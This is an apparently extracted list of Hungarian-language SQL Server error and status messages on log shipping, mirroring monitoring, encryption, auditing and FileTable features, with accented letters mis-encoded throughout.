Mr ltezik msodlagos %1!s!.%2!s! az elsQdleges %3!s! szmra.

A msodlagos %1!s! adatbzishoz mr tartozik naplkldQ bejegyzs.

A(z) %1!s! adatbzis nem ltezik msodlagos naplkldQ kiszolglknt.

A naplklds nem fog megfelelQen mqkdni, ha az elsQdleges %1!s! adatbzis SIMPLE (egyszerq) helyrellts.

A megadott, %1!s! rtkq agent_id vagy %2!s! rtkq agent_type argumentum nem kpez rvnyes prt a naplklds-figyels feldolgozshoz.

A naplkldst az SQL Server kvetkezQ kiadsai tmogatjk: Enterprise, Developer s Standard. Ezen a pldnyon az SQL Server %1!s! kiadsa van teleptve, ezrt a naplklds nem tmogatott.

|A naplkldsi funkci nincs teleptve ezen a pldnyon.

\Nem vehetQ fel naplkldsi feladat a kvetkezQ nvvel: %1!s!. Ilyen nevq feladat mr ltezik ezen a rendszeren, s ez a feladat nem tartozik a naplkldsi kategriba.

@Ezen a msodlagos kiszolgln nincs bejegyzs az elsQdleges %1!s! kiszolgl elsQdleges %2!s! adatbzisrl. ElQszr jegyezze be az elsQdleges kiszolglt.

Mr van bejegyzs az elsQdleges %1!s! kiszolgl elsQdleges %2!s! adatbzisrl.

Az elsQdleges %1!s! kiszolgl %2!s! adatbzisa aktv msodlagos naplkldQ adatbzissal/adatbzisokkal rendelkezik a msodlagos kiszolgln. ElQszr dobja el a msodlagos adatbzis(oka)t.

rvnytelen a @threshold_alert paramter szmra megadott rtk = %1!s!.

A frisstsi idQkz rtke rvnytelen:  %1!s! . A frisstsi idQszaknak 1 s 120 perc kz kell esnie.

8Az adatbzistkrzs-figyelQ frisstsi feladata mr ltezik. A frisstsi idQkz mdostshoz hasznlja a sys.sp_dbmmonitorchangemonitoring eljrst.

BelsQ hiba trtnt az adatbzistkrzs-figyelQ feladat belltsa sorn.

BelsQ hiba trtnt az adatbzistkrzs-figyelQ feladat mdostsa sorn.

`A paramter(ek) tartomnyon kvl van(nak).

Az adatbzistkrzs-figyelQ feladat frisstsi idQkznek mrtkegysge megvltozott.

pBelsQ hiba trtnt az adatbzistkrzs-figyelQben.

A(z)  %1!s!  adatbzis nem ll tkrzs alatt. Az alaptblt nem rte vltozs.

8Ki lett vltva a  legrgebbi elkldetlen tranzakci  metrika figyelmeztetse. A jelenlegi  %1!s!  rtk meghaladja a kvetkezQ kszbrtket:  %2!s! .

Az adatbzistkrzs-figyelQ alaptbli nem lettek ltrehozva. A ltrehozsukhoz futtassa a sys.sp_dbmmonitorupdate eljrst.

Ki lett vltva az  elkldetlen napl  metrika figyelmeztetse. A jelenlegi  %1!s!  rtk meghaladja a kvetkezQ kszbrtket:  %2!s! .

 Ki lett vltva a  helyrelltatlan napl  metrika figyelmeztetse. A jelenlegi  %1!s!  rtk meghaladja a kvetkezQ kszbrtket:  %2!s! .

4Ki lett vltva a  tkr vgrehajtsi idQvesztesge  metrika figyelmeztetse. A jelenlegi  %1!s!  rtk meghaladja a kvetkezQ kszbrtket:  %2!s! .

A kvetkezQt az msdb adatbzisban kell vgrehajtani:  %1!s! .

<Ezt a mqveletet csak a sysadmin (rendszergazda) rgztett kiszolgli szerepkr s az msdb adatbzis  dbm_monitor  szerepkrnek tagjai hajthatjk vgre.

LAdatbzistkrzs-figyelQ feladat

PAdatbzistkrzs-figyelQ temezse

Az adatbzistkrzs-figyelQ feladat nem ltezik. A feladat belltshoz futtassa az sp_dbmmonitoraddmonitoring eljrst.

Figyelmeztetsek nem hozhatk ltre a rendszeradatbzisokban (master, msdb, model s tempdb).

0A kvetkezQ paramter nem lehet null vagy res:  %1!s! . Adjon meg egy rtket az elnevezett paramterhez, s prblja jbl elvgezni a mqveletet.

A  @@servername  fggvny ltal megadott kiszolglnv jelenleg null rtkq.

Hiba trtnt a tvoli figyelQkiszolglval val kapcsolatltests kzben.

Hiba trtnt a tvoli figyelQkiszolgl konfigurlsa kzben.

A kapcsol nem dobhat el, mert az nem lett megadva a kvetkezQben: %1!s!.

A rendszer blokkolta a(z) %2!s! %1!s! hozzfrst, mert az alrs rvnytelen.

`DDL-utasts hasznlata nem engedlyezett.

DA kvetkezQ bejelentkezsi azonost jelszava rvnytelen:  %1!s! . A bejelentkezsi azonosthoz j jelszt kell belltani, a rgi jelsz megadsa nlkl.

Nem tallhat a tanstvny vagy az aszimmetrikus kulcs a kvetkezQ fjlban: %1!s!. Hibakd: 0x%2!s!.

xA WITH SIGNATURE kapcsol nem llthat be adatbzisra.

hSzimmetrikus kulcs nem titkosthat nmagval.

%1!s! engedly nem adhat, nem tagadhat meg s nem vonhat vissza a kvetkezQkben: INFORMATION_SCHEMA, illetve SYS %2!s!.

8Az adatbzis tulajdonosnak a master adatbzisban rgztett SID azonostja klnbzik a(z)  %1!s!  adatbzisban rgztett SID azonosttl. Korriglja ezt a helyzetet; ehhez lltsa alaphelyzetbe a(z)  %2!s!  adatbzis tulajdonost az ALTER AUTHORIZATION utasts hasznlatval.

A MUST_CHANGE kapcsol nem adhat meg a HASHED kapcsolval egytt.

A(z) %1!s! titkos kulcs nem dobhat el, mert egy vagy tbb entits azzal van titkostva.

Nem ltezik %1!s! a kvetkezQhz kapcsoldan:  %3!s!  %2!s!.

A kvetkezQt nem lehet ellenjegyezni:  %1!s! . Csak modulok ellenjegyzsre van lehetQsg.

Az adatbzistagra egy %1!s! hivatkozik az adatbzisban, ezrt nem dobhat el.

A felhasznl nem rendelhetQ hozz msik bejelentkezsi azonosthoz. Az jbli hozzrendels csak olyan felhasznlk esetn vgezhetQ el, akik Windows- vagy SQL-bejelentkezsi azonosthoz voltak rendelve.

Felhasznlk jra-hozzrendelse sorn egy bizonyos tpus felhasznl nem rendelhetQ hozz msik tpus bejelentkezsi azonosthoz. Az SQL-felhasznlk pldul kizrlag SQL-bejelentkezsi azonosthoz rendelhetQk hozz, Windows-bejelentkezsi azonosthoz nem.

dA felhasznl jra-hozzrendelse nem trtnhet a(z)  %1!s!  bejelentkezsi azonosthoz, mert az azonost mr hozz van rendelve az adatbzis valamelyik felhasznljhoz.

Nem hozhat ltre implicit md felhasznl a kvetkezQ klnleges bejelentkezsi azonosthoz:  %1!s! .

HASHED-jelsz nem llthat be olyan bejelentkezsi azonostra, amelynl be van kapcsolva a CHECK_POLICY argumentum.

Nem sikerlt ltrehozni felhasznl pldnyt a SQL Server rendszerbQl. Felhasznli pldnyt csak helyi felhasznli fikok, interaktv felhasznli fikok, szolgltatsfikok, illetve ktegfikok hozhatnak ltre. A kapcsolat bezrdik.%1!s!

A titkostsi szolgltat tulajdonsgai nem olvashatk be. Szolgltati hibakd: %1!s!.

A(z) %1!s! tl hossz. A maximlisan engedlyezett hossz %2!s! bjt.

hA titkostsi szolgltathoz tartoz, a DLL-ben tallhat  %2!s!  %1!s! klnbzik a(z) %3!s! azonostj szolgltatnak a rendszerkatalgusban rgztett GUID azonostjtl.

A titkostsi szolgltat kvetkezQ tulajdonsga rvnytelen: %1!s!.

A(z)  %1!s!  GUID azonostval rendelkezQ titkostsi szolgltat mr ltezik.

A kvetkezQ fggvnytr nem tlthetQ be:  %1!s! . Tovbbi informci a hibanaplban.

Nem nyithat meg munkamenet a kvetkezQ szmra:  %2!s!  %1!s!. Szolgltati hibakd: %3!s!. (%4!s!)

A titkostsi szolgltatt nem sikerlt inicializlni. Szolgltati hibakd: %1!s!. (%2!s!)

\A titkostsi szolgltat nem rhetQ el.

A kvetkezQ titkostsi szolgltat le van tiltva:  %1!s! .

A szolgltat ltal megvalstott,  %1!s!.%2!s!  verziszm SQL titkostsi API nem tmogatott. A tmogatott verzi:  %3!s!.%4!s! . 

A megadott  %1!s!  kulcstpust vagy kapcsolt nem tmogatja a szolgltat.

`MeglvQ kulcshoz nem adhat meg algoritmus.

A kvetkezQ kulcsot nem lehet ltrehozni a szolgltatban:  %1!s! . Szolgltati hibakd: %2!s!. (%3!s!)

A kvetkezQt nem lehet exportlni a szolgltatbl: %1!s!. Szolgltati hibakd: %2!s!. (%3!s!)

A titkostsi szolgltat kulcsa nem tmogatja a mqveletet.

rvnytelen algoritmus:  %1!s! . Szolgltati hibakd: %2!s!. (%3!s!)

A titkostsi szolgltat kulcsa nem titkosthat jelszval vagy msik kulccsal.

xMeglvQ hitelestQk szmra nem hozhat ltre bejelentkezsi jogkivonat. Ha a DBO egy Windows-felhasznl, ellenQrizze, hogy Windows-fikja elrhetQ-e az SQL Server rendszer szmra.

A kvetkezQ nem vehet fel, mert mr hozz van rendelve egy bejelentkezsi azonosthoz: %1!s!.

A(z)  %2!s!  %1!s! nem vehetQ fel, mert a bejelentkezsi azonosthoz mr meg van adva a kvetkezQ: %3!s!.

A(z) %1!s! nem dobhat el, mert a kvetkezQ mr hivatkozik erre a szolgltatra: %2!s!.

A(z) %1!s! nem dobhat el, mert az nincs hozzrendelve ehhez a bejelentkezsi azonosthoz.

A(z)  %1!s!  kiszolgltag nem rendelkezik olyan hitelestQ adatokkal, amelyek a kvetkezQhz vannak hozzrendelve:  %3!s!  %2!s!.

Nem sikerlt beolvasni vagy visszafejteni a(z)  %2!s!  %1!s! titkos kulcst.

Nem elsQdleges biztonsgi krnyezetben nem hasznlhat a kvetkezQ: %1!s!.

A szolgltatban nem ltezik, vagy a hozzfrs meg van tagadva a kvetkezQhz:  %2!s!  %1!s!. Szolgltati hibakd: %3!s!. (%4!s!)

A kvetkezQ kulcs nem hozhat ltre a szolgltatban:  %1!s! . A szolgltat nem engedlyezi a kulcsnevek megadst.

rvnytelen algoritmusazonost: %1!s!. Szolgltati hibakd: %2!s!. (%3!s!)

A titkostsi szolgltat kulcsa nem lehet ideiglenes kulcs.

A bQvthetQ kulcskezelsi funkci az SQL Server e kiadsban le van tiltva, vagy a kiads nem tmogatja azt. Hasznlja az sp_configure  EKM provider enabled  eljrst az engedlyezshez.

A bQvthetQ kulcskezelsi funkcit nem tmogatja az SQL Server e kiadsa.

Kivtel trtnt, mikzben a rendszer a(z)  %1!s!  titkostsi szolgltatt hvta a(z)  %2!s!  API-ban. Az SQL Server megszaktja a kvetkezQ folyamatot: %3!s!. Kivtel tpusa: %4!s!, kivtel kdja: 0x%5!s!.

A(z)  %1!s!  bejelentkezsi azonost nem szemlyesthetQ meg, a(z)  %3!s!  %2!s! elrshez.

Hiba trtnt az sszes fut naplzsi munkamenet kirtsre tett ksrlet sorn. ElQfordulhat, hogy egyes esemnyek elvesztek.

DA paramterknt megadott biztonsgi azonost formtuma rvnytelen. A biztonsgi azonost esetleg helytelen, vagy nem megfelelQ tpus felhasznlt r le.

LA CREATE CERTIFICATE utastsban nem hasznlhat vegyesen fjlos s binris md. rja jra az utastst gy, hogy csak a FILE vagy a BINARY kulcsszt hasznlja.

A naplfjl szmra megadott maximlis mretkorlt kisebb, mint a minimlis engedlyezett rtk. A maximlis mretkorlt legalbb 2 MB.

Ez a parancs megkveteli, hogy le legyen tiltva a kvetkezQ: %1!s!. A(z) %2!s! letiltsa utn futtassa jbl a parancsot.

pAz ellenQrzsi naplfjl elrsi tja rvnytelen.

A(z)  %2!s!  %1!s! nem tallhat, vagy n nem rendelkezik a megfelelQ jogosultsgokkal.

Felhasznli adatbzisbl %1!s! mqvelet nem vgezhetQ a kvetkezQvel: %2!s! %3!s!. A mqveletet a master adatbzisban kell vgrehajtani.

A rszletes naplzs nem rhetQ el az SQL Server jelen kiadsban. Az SQL Server klnbzQ kiadsaiban tmogatott funkcikrl az SQL Server online knyvekben olvashat tovbbi informci.

A megadott maximlis mretkorlt nagyobb, mint a maximlis engedlyezett rtk. A maximlis mretkorlt legfeljebb 16777215 TB lehet.

XA RESERVE_DISK_SPACE kapcsol nem adhat meg, ha MAXSIZE = UNLIMITED belltst alkalmaz. Cskkentse a MAXSIZE rtkt vagy ne adja meg a RESERVE_DISK_SPACE kapcsolt.

A fQadatbzisban levQ tartalmazsi bellts nem felel meg az adatbzisfjlok tartalmazsi tulajdonsgnak. Hasznlja az ALTER DATABASE utastst a tartalmazsi tulajdonsg visszalltshoz.

Nem kthetQ alaprtelmezs vagy szably a(z)  %1!s!  CLR-beli tpushoz, mert egy meglvQ ritka oszlop ezt az adattpust hasznlja. Mdostsa a ritka oszlop adattpust vagy tvoltsa el a ritka jellst az oszloprl.

Nem tallhat az a titkostsiszolgltat-fggvnytr, amelynek GUID azonostja a kvetkezQ:  %1!s! .

%1!s! nem hozhat ltre a(z)  %3!s!  %2!s! szmra, mert azt nem tmogatja a kvetkezQ bQvthetQkulcskezelQ-szolgltat:  %4!s! .

Az OPEN SYMMETRIC KEY utasts nem hivatkozhat olyan szimmetrikus kulcsra, amely egy bQvthetQkulcskezelQ-szolgltatbl (EKM-szolgltat) lett ltrehozva. Az EKM-szolgltatbl kszlt szimmetrikus kulcsok automatikusan kinylnak azon tagok szmra, akik sikeresen hitelestik magukat a titkostsi szolgltatval.

A kulcs EKM-szolgltat ltal visszaadott %1!s! tulajdonsga nem felel meg a vrt rtknek.

Az SQL Server EKM-mqveletei szmra a(z) %1!s! algoritmus nem tmogatott.

 A kulcsrvnyests sikertelen, mert a kulcshoz tartoz algoritmus adatainak a lekrse nem sikerlt. Szolgltati hibakd: %1!s!. (%2!s!)

DA kvetkezQ Windows-felhasznl vagy -csoport helyi vagy beptett:  %1!s! . Hasznljon Windows rendszerq tartomnyi felhasznlt vagy tartomnyi csoportot.

Kiszolgl hatkrq katalgusnzetek, rendszerben trolt eljrsok, illetve bQvtett trolt eljrsok nem vehetQk fel a felhasznli adatbzis adatbzisnapl-specifikcijba. Ezeket a master adatbzis adatbzisnapl-specifikcijba vegye fel.

A(z)  %2!s!  %1!s! nem hasznlhat, mert annak titkos kulcsa nincs jelen, vagy nem vdi az adatbzis fQ kulcsa. Az SQL Server megkveteli annak a lehetQsgt, hogy a mqvelethez hasznlt %3!s! titkos kulcsa automatikusan elrhetQ legyen.

`Rendszeradatbzis nem titkosthat. Az adatbzis-titkostsi mqveletek nem hajthatk vgre a  master , a  model , a  tempdb , az  msdb , illetve a  resource  adatbzison.

Ehhez az adatbzishoz mr ltezik adatbzis-titkostsi kulcs.

Ehhez az adatbzishoz nem ltezik adatbzis-titkostsi kulcs.

\Az adatbzis-titkostsi kulcs nem dobhat el, mert az jelenleg hasznlatban van. Az adatbzis-titkostsi kulcs eldobshoz ki kell kapcsolni az adatbzis-titkostst.

Az adatbzis-titkostsi llapot nem mdosthat, mert nincs adatbzis-titkostsi kulcs belltva.

Az adatbzis-titkosts nem engedlyezhetQ, mert mr engedlyezve van.

Az adatbzis-titkosts nem tilthat le, mert mr le van tiltva van.

Az adatbzis-titkosts nem tilthat le folyamatban lvQ titkostsi, visszafejtsi vagy kulcsvltozs-vizsglati mqvelet kzben.

Az adatbzis-titkostsi kulcs nem mdosthat folyamatban lvQ titkostsi, visszafejtsi vagy kulcsvltozs-vizsglati mqvelet kzben.

A(z)  %2!s!  ujjlenyomattal rendelkezQ %1!s! kiszolgl nem tallhat.

A CREATE/ALTER/DROP DATABASE ENCRYPTION KEY utasts sikertelen, mert az adatbzist nem sikerlt zrolni. KsQbb prblja jra.

A CREATE/ALTER/DROP DATABASE ENCRYPTION KEY utasts sikertelen, mert a(z)  %1!s!  adatbzist nem sikerlt zrolni. KsQbb prblja jra.

lAz tlthat adattitkosts nem rhetQ el az SQL Server-pldny e kiadsban. Az SQL Server klnbzQ kiadsainak funkciirl az online knyvekben tallhat tovbbi informci.

TNem engedlyezhetQ vagy mdosthat az adatbzis-titkosts olyan adatbzisban, amely csak olvashat, esetleg rsvdett fjlokat tartalmaz vagy nincs helyrelltva.

A fjlcsoport rsvdett/rhat-olvashat llapota nem mdosthat folyamatban lvQ titkostsi tmenet kzben.

DAnnak rdekben, hogy az adatbzis-titkostsi kulcs %1!s! hasznlatval legyen titkostva, a hasznlt %2!s! tartzkodjon bQvthetQkulcskezelQ-szolgltatn.

A(z)  %2!s!  %1!s! nem rendelkezik hozzrendelt bejelentkezsi azonostval. Hozzon ltre bejelentkezsi azonostt s hitelestQ adatokat a kulcs szmra a(z)  %3!s!  bQvthetQkulcskezelQ-szolgltat automatikus elrse rdekben.

hA parancs vgrehajtshoz a(z)  %1!s!  adatbzison meg kell vizsglni az adatbzis-titkostst. Az adatbzis azonban olyan vltozsokkal rendelkezik az elQzQ vizsglatokbl, amelyek fggQben vannak a napl biztonsgi mentsig. Ksztsen biztonsgi msolatot a naplrl, majd prblja jra a parancsot.

lAz adatbzis-titkostsi kulcs nem dobhat el, s nem mdosthat, mert jelenleg hasznlatban van egy tkradatbzisban vagy egy msodlagos rendelkezsre llsi msodpldnyban. Prblja jbl vgrehajtani a parancsot, miutn befejezQdtt az sszes korbbi jratitkostsi vizsglat propaglsa a tkradatbzisokra vagy msodlagos rendelkezsre llsi msodpldnyokra, illetve miutn letiltottk a rendelkezsre llsi kapcsolatot.

A(z) %1!s! nem dobhat el, mert azt egy vagy tbb adatbzis az adatbzis-titkost kulcs titkostsra hasznlja.

A titkosts sikertelen volt. A kulcs az elavult  %1!s!  algoritmust hasznlja, amely mr nem tmogatott. 

Egy Windows-csoportra vonatkozan nem hasznlhat az ALTER LOGIN utasts az ENABLE vagy a DISABLE argumentummal. Ehelyett hasznlja a GRANT vagy a REVOKE utastst a CONNECT SQL engedlyre.

Hiba trtnt a kvetkezQ naplfjlbl vagy fjlmintbl trtnQ beolvass sorn:  %1!s! . Lehetsges, hogy az SQL szolgltatsfikja nem rendelkezik olvassi jogosultsggal a fjlokra vonatkozan, vagy a minta egy vagy tbb srlt fjlt ad vissza eredmnyl.

Az SQL Server Audit nem tudott rni a kvetkezQ fjlba:  %1!s! .

xAz SQL Server Audit nem tudott rni az esemnynaplba.

Az SQL Server Audit nem tudott rni az biztonsgi naplba.

Az SQL Server Audit nem tudta ltrehozni a kvetkezQ naplfjlt:  %1!s! . EllenQrizze, hogy nem telt-e meg a lemez, valamint, hogy az SQL szolgltatsfikja rendelkezik-e a fjl ltrehozshoz s rshoz szksges jogosultsgokkal.

|Az SQL Server Audit nem tudott hozzfrni az esemnynaplhoz. EllenQrizze, hogy az SQL szolgltatsfikja rendelkezik-e az esemnynaplhoz val hozzfrshez szksges jogosultsgokkal.

Az SQL Server Audit nem tudott hozzfrni a biztonsgi naplhoz. EllenQrizze, hogy az SQL szolgltatsfikja rendelkezik-e a biztonsgi naplhoz val hozzfrshez szksges jogosultsgokkal.

Alentitsok (pldul oszlopok) nem adhatk meg entitsszintq naplk szmra.

rvnytelen oszloplista szerepel az AUDIT SPECIFICATION utastsban, az objektum neve utn.

A naplspecifikcis utastsban minden mqveletnek ugyanolyan hatkrbe kell esnie.

A mqvelet nem hajthat vgre, mert az SQL Server Audit nincs elindtva.

Kiszolgl hatkrq naplzsi mqveletek csak akkor engedlyezhetQk, ha a master az aktulis adatbzis.

Naplzsi mqveletek csak az aktulis adatbzis objektumaira vonatkozan hozhatk ltre.

Az ALTER SERVER AUDIT utastsban meg kell adni a STATE kapcsolt, ms kapcsolk hasznlata nlkl.

<A megadott minta nem adott eredmnyl fjlokat, vagy nem utalnak rvnyes fjlmegosztsra. EllenQrizze a minta paramtert s futtassa jbl a parancsot.

Az initial_file_name s az audit_record_offset argumentum szmra megadott rtkeknek a naplfjlkszleten belli rvnyes helyre kell utalniuk. EllenQrizze a fjlnevet s az eltols helyt, majd futtassa jbl a parancsot.

A QUEUE_DELAY kapcsol szmra megadott rtk rvnytelen. A megadhat rtkek: 0, 1000 vagy magasabb. 

Az SQL Server Audit szolgltatst nem konfigurlhatja gy, hogy az lelltsa a kiszolglt, mert nnek nincs megfelelQ jogosultsga a kiszolgl lelltsra. Lpjen kapcsolatba a rendszergazdval.

Naplspecifikcit akkor lehet mdostani, amikor a naplspecifikci le van tiltva.

|A(z)  %1!s!  napl mr rendelkezik naplspecifikcival.

Csak a DATABASE, a SCHEMA, illetve az OBJECT biztonsgos osztlyokat adhatja meg AUDIT SPECIFICATION utastsokban.

A Sysadmin (rendszergazda) szerepkrhz nem vehet fel szerepkrt.

Csak egy tartalmazott adatbzisban hozhat ltre jelszval rendelkezQ felhasznl.

A kvetkezQ paramter nem adhat meg olyan felhasznlk szmra, akik nem tudjk hitelesteni magukat egy adatbzisban: %1!s!.

xA kvetkezQ paramter nem adhat meg olyan felhasznlk szmra, akik nem tudjk hitelesteni magukat egy adatbzisban: %1!s!. Tvoltsa el a WITHOUT LOGIN vagy a PASSWORD zradkot.

Az alaprtelmezett nyelvi paramter csak egy tartalmazott adatbzisban adhat meg a felhasznlk szmra.

A(z) %1!s! paramter nem hasznlhat Windows rendszerbeli felhasznlkhoz s csoportokhoz.

A MAX_FILES s a MAX_ROLLOVER_FILES bellts nem adhat meg egyszerre. 

Hiba trtnt a mqvelet naplzsakor. Hrtsa el a naplzsi hibt, majd prblja jbl elvgezni a mqveletet.

Hiba trtnt egy naplzs inicializlsakor. Tovbbi rszletek a hibanaplban tallhatk.

Indulskor nem sikerlt konfigurlni a felhasznli pldnyt. Hiba trtnt az resjrati idQtllps frisstsekor.

$Biztonsgi azonost megadsakor a felhasznl csak bejelentkezsi azonost nlkli felhasznl vagy jelszval rendelkezQ felhasznl lehet.

Nem sikerlt ltrehozni az SQL Server felhasznli pldnyt, mert sikertelen volt a felhasznli pldny folyamatra vonatkoz hozzfrs-vezrlsi lista belltsa. A kapcsolat bezrdik.%1!s!

A(z)  %2!s!  beszlgetspriorits szmra megadott %1!s! rvnytelen. Az rtk hossza 1 s %3!s! kztt lehet.

A(z)  %2!s!  beszlgetspriorits szmra megadott %1!s! rvnytelen. Az rtk 1 s 10 kztt lehet.

Az adatbzisban mr ltezik beszlgetspriorits  %1!s!  nvvel vagy a kvetkezQ tulajdonsgokkal: %2!s!= %3!s! , %4!s!= %5!s!  s %6!s!= %7!s! . Vlasszon egyedi nevet vagy egyedi tulajdonsgokat.

tA(z)  %1!s!  beszlgetsmutatval s %2!s!. zenetsorszmmal rendelkezQ tviteli vrakozsi sor hinyz, csoportos kldsq zenettrzssorra hivatkozik, melynek a hivatkozsa: %3!s!.

A(z) %1!s! hivatkozs, csoportos kldsq zenettrzssornak %2!s! darab hivatkozssal kell rendelkeznie.

A(z) %1!s! hivatkozs, hivatkozatlan zenet trlve lett az zenettrzstblbl.

A(z) %1!s! hivatkozs zenet hivatkozsainak darabszma a kvetkezQ rtkre lett frisstve az zenettrzstblban: %2!s!.

A FILESTREAM adatbzis-belltsok nem adhatk meg olyan rendszeradatbzisokra, mint pldul  %1!s! .

rvnytelen knyvtrnv lett megadva:  %1!s! . Hasznljon egy Windows rendszerbeli rvnyes knyvtrnevet.

A kis- s nagybetqket megklnbztetQ vagy binris  %1!s!  rendezs nem hasznlhat a COLLATE_FILENAME kapcsolval. Mdostsa a rendezst kis- s nagybetqket nem megklnbztetQ tpusra.

Az adatbzis alaprtelmezett  %1!s!  rendezse megklnbzteti a kis- s nagybetqket, ezrt nem hasznlhat egy FileTable ltrehozshoz. Adjon meg egy kis- s nagybetqket nem megklnbztetQ rendezst a COLLATE_FILENAME kapcsolval.

Hiba trtnt egy FileTable objektumon vgzett %1!s! %2!s! mqvelet sorn. (HRESULT =  0x%3!s! ).

4Az rvnytelen  %1!s!  fjlnv ellenQrzsi megktsi hibt okozott egy FileTable objektumnl. Hasznljon egy Windows rendszerbeli rvnyes fjlnevet.

Egy rvnytelen elrsit-keresQ ellenQrzsi megktsi hibt okozott egy FileTable objektumnl. Az elrsit-keresQ nem jelezhet egy gykrsort. Javtsa ki az elrsit-keresQt, vagy hasznlja az alaprtelmezettet.

A mqvelet ellenQrzsi megktsi hibt okozott egy FileTable objektumnl. Egy knyvtrbejegyzsben nem lehet a sorhoz trstva egy adatfolyam. Tvoltsa el a BLOB-adatokat, vagy trlje az is_directory jelzQt.

A mqvelet ellenQrzsi megktsi hibt okozott egy FileTable objektumnl. Egy fjlbejegyzsben nem lehet NULL rtk a sorhoz trstva adatfolyamknt. Szrjon be fjladatokat, vagy a 0x kd hasznlatval szrjon be egy nulla hosszsg fjlt.

Egy rvnytelen elrsit-keresQ ellenQrzsi megktsi hibt okozott egy FileTable objektumnl. Egy sor elrsit-keresQjnek szlQje csak knyvtr lehet, fjl nem. Javtsa ki az elrsit-keresQt, hogy olyan szlQre hivatkozzon, amely egy knyvtr.

A(z)  %1!s!  kapcsol csak egy FileTable objektumon val hasznlat esetn rvnyes. Tvoltsa el a kapcsolt az utastsbl.

A(z)  %1!s!  kapcsol nem rvnyes a kvetkezQ szintaxissal val hasznlat esetn:  %2!s! . Tvoltsa el a kapcsolt az utastsbl.

A(z)  %1!s!  kapcsol csak egyszer adhat meg egy utastsban. Tvoltsa el az ismtlQdQ kapcsolt az utastsbl.

HFileTable objektumok esetn a FILESTREAM DIRECTORY_NAME adatbzis-kapcsol nem lehet NULL. Egy FileTable objektumnak a(z)  %1!s!  adatbzisban val ltrehozshoz lltsa be a DIRECTORY_NAME kapcsolt egy nem NULL rtkre az ALTER DATABASE utasts hasznlatval. Vagy lltsa be a DIRECTORY_NAME kapcsolt NULL rtkre, s tiltsa le vagy dobja el a ltezQ FileTable objektumokat a kvetkezQ adatbzisban:  %2!s! .

A FILESTREAM DIRECTORY_NAME  %1!s! , amelyet megprblnak belltani a(z)  %2!s!  adatbzisra, nem egyedi az SQL Server ezen pldnyn. Nem tranzakcialap hozzfrs engedlyezshez adjon meg egy egyedi rtket a FILESTREAM DIRECTORY_NAME kapcsolhoz.

Egy rvnytelen elrsit-keresQ ellenQrzsi megktsi hibt okozott egy FileTable objektumnl. Az elrsit-keresQ szintje %1!s!, amely mlyebb a FileTable objektum ltal tmogatott %2!s! korltnl. Cskkentse a knyvtr-hierarchia mlysgt.

A FILETABLE_DIRECTORY  %1!s! , amelyet megprblnak belltani a(z)  %2!s!  tblra, nem egyedi a kvetkezQ adatbzisban:  %3!s! . Adjon meg egy egyedi rtket a FILETABLE_DIRECTORY kapcsolhoz ennl a mqveletnl.

A(z) %1!s! fggvny kizrlag egy FileTable objektum varbinary(max) FILESTREAM oszlopa esetben rvnyes.

hNem sikerlt feldolgozni a(z)  %1!s!  objektumot, mert az egy hromrszes vagy ngyrszes nv. A kiszolgl vagy az adatbzis megadsa az objektumazonostban nem tmogatott.

A kvetkezQ objektumnv nem egy rvnyes FileTable objektumot jell:  %1!s! .

\A(z)  %1!s!  oszlop nem vehetQ fel a kvetkezQ tblba, mert az egy FileTable:  %2!s! . Oszlopok felvtele a FileTable objektumok rgztett smjba nem engedlyezett. 

A FileTable elrsi tjnak neve vagy formtuma rvnytelen.

rvnytelen gazdaszmtgp-nv szerepel a FileTable elrsi tjban.

rvnytelen megosztsnv szerepel a FileTable elrsi tjban.

LA(z)  %1!s!  FileTable objektumra vonatkoz INSERT, UPDATE, DELETE vagy MERGE mqvelet nem engedlyezett egy FileTable objektumra vonatkoz esemnyindtn bell.

A(z) %1!s! fggvny nem engedlyezett egy esemnyindtn belli trlt tblra.

A felhasznlnak nincs engedlye a nem tranzakcialap FILESTREAM-lerk trlsre a kvetkezQ azonostj adatbzisban: %1!s!.

|A nem tranzakcialap %1!s! FILESTREAM-ler nem ltezik.

Egy rvnytelen elrsit-keresQ ellenQrzsi megktsi hibt okozott egy FileTable objektumnl. Az elrsit-keresQ hossza %1!s!, amely hosszabb a(z) %3!s! mlysghez engedlyezett %2!s! korltnl. Cskkentse az elrsit-keresQ hosszt.

A kvetkezQ adatbzis jelenlegi llapota nem kompatibilis a megadott, nem tranzakcialap FILESTREAM-hozzfrsi szinttel:  %1!s! . Az adatbzis esetleg csak olvashat, egyfelhasznls, vagy vszhelyzeti llapotra van belltva. 

A kvetkezQ FileTable nem tehetQ kzz replikcihoz:  %1!s! . A replikci FileTable objektumok esetn nem tmogatott.

LAz adatvltozsok rgztse nem engedlyezhetQ a kvetkezQ FileTable objektumra:  %1!s! . Az adatvltozsok rgztse FileTable objektumok esetn nem tmogatott.

(A naplalap  %1!s!  nzet nem tehetQ kzz replikcihoz. A replikci FileTable objektumoktl fggQ naplalap nzetek esetn nem tmogatott.

$A vltozskvets nem engedlyezhetQ a kvetkezQ FileTable objektumra:  %1!s! . A vltozskvets FileTable objektumok esetn nem tmogatott.

$Az IGNORE_CONSTRAINTS mutat nem hasznlhat a(z)  %1!s!  FileTable objektumba val beszrskor, csak ha le van tiltva a FILETABLE_NAMESPACE.

Amikor a(z)  %1!s!  FileTable objektumba szr be a BCP vagy a BULK INSERT hasznlatval, vagy be kell kapcsolni a CHECK_CONSTRAINTS kapcsolt, vagy le kell tiltani a FILETABLE_NAMESPACE belltst a tblra vonatkozan.

A kvetkezQ FileTable nem particionlhat:  %1!s! . A particionls FileTable objektumok esetn nem tmogatott.

A kvetkezQ azonostj ler a kiszolgl gykrszintq megosztshoz van megnyitva, s nem trlhetQ: %1!s!. A ler lettartamt az az gyfl szablyozza, amely eredetileg megnyitotta a lert.

A kvetkezQ adatbzisra nem engedlyezhetQ egyszerre a nem tranzakcialap FILESTREAM-hozzfrs s az adatbzis-tkrzs:  %1!s! .

A kvetkezQ adatbzisra nem engedlyezhetQ egyszerre a nem tranzakcialap FILESTREAM-hozzfrs s a HADR:  %1!s! .

XA(z)  %1!s!  adatbzis egy rendelkezsre llsi csoportban levQ olvashat msodlagos adatbzis, amelyre nem engedlyezhetQ a nem tranzakcialap FILESTREAM-hozzfrs.

A FILESTREAM-adatbzis konfigurcija nem mdosthat a kvetkezQ adatbzisra:  %1!s! . Az adatbzis vagy egy tkradatbzis az adatbzis-tkrzsi funkciban, vagy egy AlwaysOn bellts rendelkezsre llsi csoportban levQ msodlagos msodpldny. Kapcsoldjon az adatbzis elsQdleges msodpldnyt futtat kiszolglpldnyhoz, s prblja megismtelni a mqveletet.

